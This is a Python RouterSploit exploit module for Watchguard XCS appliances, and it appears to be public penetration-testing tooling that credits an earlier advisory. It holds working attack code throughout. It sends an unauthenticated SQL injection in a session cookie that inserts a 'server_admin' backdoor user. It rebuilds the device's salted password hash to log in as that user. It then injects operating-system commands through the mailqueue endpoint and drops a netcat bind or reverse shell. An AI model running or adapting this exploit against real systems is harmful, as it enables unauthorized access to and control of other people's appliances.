import re
from random import randint
import hashlib

from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    """
    This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
    appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
    remote attacker may insert a valid web user into the appliance database, and get access
    to the web interface. On the other hand, a vulnerability in the web interface allows the
    attacker to inject operating system commands as the 'nobody' user.
    """
    __info__ = {
        'name': 'Watchguard XCS Remote Command Execution',
        'description': 'This module exploits two separate vulnerabilities found in the Watchguard XCS virtual'
        'appliance to gain command execution. By exploiting an unauthenticated SQL injection, a '
        'remote attacker may insert a valid web user into the appliance database, and get access '
        'to the web interface. On the other hand, a vulnerability in the web interface allows the '
        'attacker to inject operating system commands as the "nobody" user.',
        'authors': [
            'Daniel Jensen <daniel.jensen[at]security-assessment.com>',  # discovery and Metasploit module
            'GH0st3rs',  # routersploit module
        ],
        'references': [
            'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf',
            'https://vulners.com/metasploit/MSF:EXPLOIT/FREEBSD/HTTP/WATCHGUARD_CMD_EXEC?utm_source=telegram&utm_medium=vulnersBot&utm_campaign=search'
        ],
        'devices': [
            'Watchguard XCS 9.2/10.0',
        ],
    }

    target = OptIP('', 'Target address e.g. 192.168.1.1')
    port = OptPort(443, 'WatchGuard WebUI port')
    watchguard_user = OptString(utils.random_text(8), 'Web interface user account to add')
    watchguard_password = OptString(utils.random_text(8), 'Web interface user password')

    def run(self):
        if self.check():
            # Get a valid session by logging in or exploiting SQLi to add user
            print_status('Getting a valid session...')
            self.sid = self.get_session()
            if not self.sid:
                print_error("Exploit failed - target seems to be not vulnerable")
                return False
            print_success('Successfully logged in')

            # Check if cmd injection works
            test_cmd_inj = self.send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
            if not test_cmd_inj or 'uid=65534' not in test_cmd_inj.text:
                print_error('Could not inject command, may not be vulnerable')
                return

            # We have cmd exec, stand up an HTTP server and deliver the payload
            print_status('Getting ready to drop binary on appliance')

            # Generate payload
            shell(self,
                  architecture="x64",
                  method="netcat",
                  # payloads=["netcat_bind_tcp", "netcat_reverse_tcp"]
                  )
        else:
            print_error("Exploit failed - target seems to be not vulnerable")

    @mute
    def check(self):
        header = {
            'cookie': "sid=1'",
        }
        response = self.http_request(
            method='GET',
            path='/borderpost/imp/compose.php3',
            headers=header
        )
        if response and 'unterminated quoted string' in response.text:
            return True  # target is vulnerable
        return False  # target is not vulnerable

    def attempt_login(self, username, pwd_clear):
        # Attempts to login with the provided user credentials
        # Get the login page
        get_login_hash = self.http_request(
            method="GET",
            path='/login.spl'
        )

        if not get_login_hash or not get_login_hash.context:
            print_error('Could not get login page.')
            return False

        # Find the hash token needed to login
        login_hash = ''
        for line in get_login_hash.text.splitlines():
            login_hash = re.findall('name="hash" value="(.*)"', line)
            if login_hash:
                login_hash = login_hash[0]
                break
            else:
                login_hash = ''

        sid_cookie = re.findall(r'sid=(\w+);', get_login_hash.headers['cookie'] or '')[0] or ''
        if login_hash == '' or sid_cookie == '':
            print_error('Could not find login hash or cookie')
            return False

        login_post = {
            'u': username,
            'pwd': pwd_clear,
            'hash': login_hash,
            'login': 'Login'
        }
        print_status('Attempting to login with provided credentials')
        login = self.http_request(
            method='POST',
            path='/login.spl?f=V',
            headers={
                'cookie': "sid={sid_cookie}".format(sid_cookie=sid_cookie)
            },
            data=login_post
        )

        if login and '<title>Loading...</title>' in login.text:
            return sid_cookie

        return False

    def add_user(self, user_id, username, pwd_hash, pwd_clear):
        # Adds a user to the database using the unauthed SQLi
        cookie_str = "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES({user_id}, '{username}', '{pwd_hash}', 0, 'server_admin', 0, 0)--"
        response = self.http_request(
            method='GET',
            path='/borderpost/imp/compose.php3',
            headers={
                'cookie': cookie_str.format(user_id=user_id, username=username, pwd_hash=pwd_hash)
            }
        )

        if not response or not response.text:
            print_error("Could not connect to host")
            return False

        if 'ERROR:  duplicate key value violates unique constraint' in response.text:
            print_status("Added backdoor user, credentials => {username}:{pwd_clear}".format(
                username=username,
                pwd_clear=pwd_clear
            ))
        else:
            return False

        return True

    def generate_device_hash(self, cleartext_password):
        # Generates the specific hashes needed for the XCS
        pre_salt = b'BorderWare '
        post_salt = b' some other random (9) stuff'
        hash_tmp = hashlib.md5(pre_salt + cleartext_password.encode() + post_salt).hexdigest()
        final_hash = hashlib.md5(cleartext_password.encode() + hash_tmp.encode()).hexdigest()
        return final_hash

    def send_cmd_exec(self, uri, os_cmd):
        # This is a handler function that makes HTTP calls to exploit the command injection issue
        if not self.sid:
            print_error('Missing a session cookie when attempting to execute command.')
            return False

        header = {'cookie': "sid={sid}".format(sid=self.sid)}

        response = self.http_request(
            method='GET',
            path='{uri}?f=dnld&id=;{os_cmd}'.format(uri=uri, os_cmd=os_cmd),
            headers=header
        )

        return response

    def get_session(self):
        # Gets a valid login session, either valid creds or the SQLi vulnerability
        username = self.watchguard_user
        password = self.watchguard_password
        user_id = randint(10, 999)

        sid_cookie = self.attempt_login(username, password)
        if sid_cookie:
            return sid_cookie

        print_error('Failed to login, attempting to add backdoor user...')
        pwd_hash = self.generate_device_hash(password)

        if not self.add_user(user_id, username, pwd_hash, password):
            print_error('Failed to add user account to database.')
            return False

        sid_cookie = self.attempt_login(username, password)
        if not sid_cookie:
            print_error('Unable to login with user account.')
            return False

        return sid_cookie

    # Make the server download the payload and run it
    def execute(self, cmd):
        print_status('Sending the payload to the server...')
        print_status("Telling appliance to run {cmd}".format(cmd=cmd))
        response = self.send_cmd_exec('/ADMIN/mailqueue.spl', cmd)
        if response:
            return ""
        return False
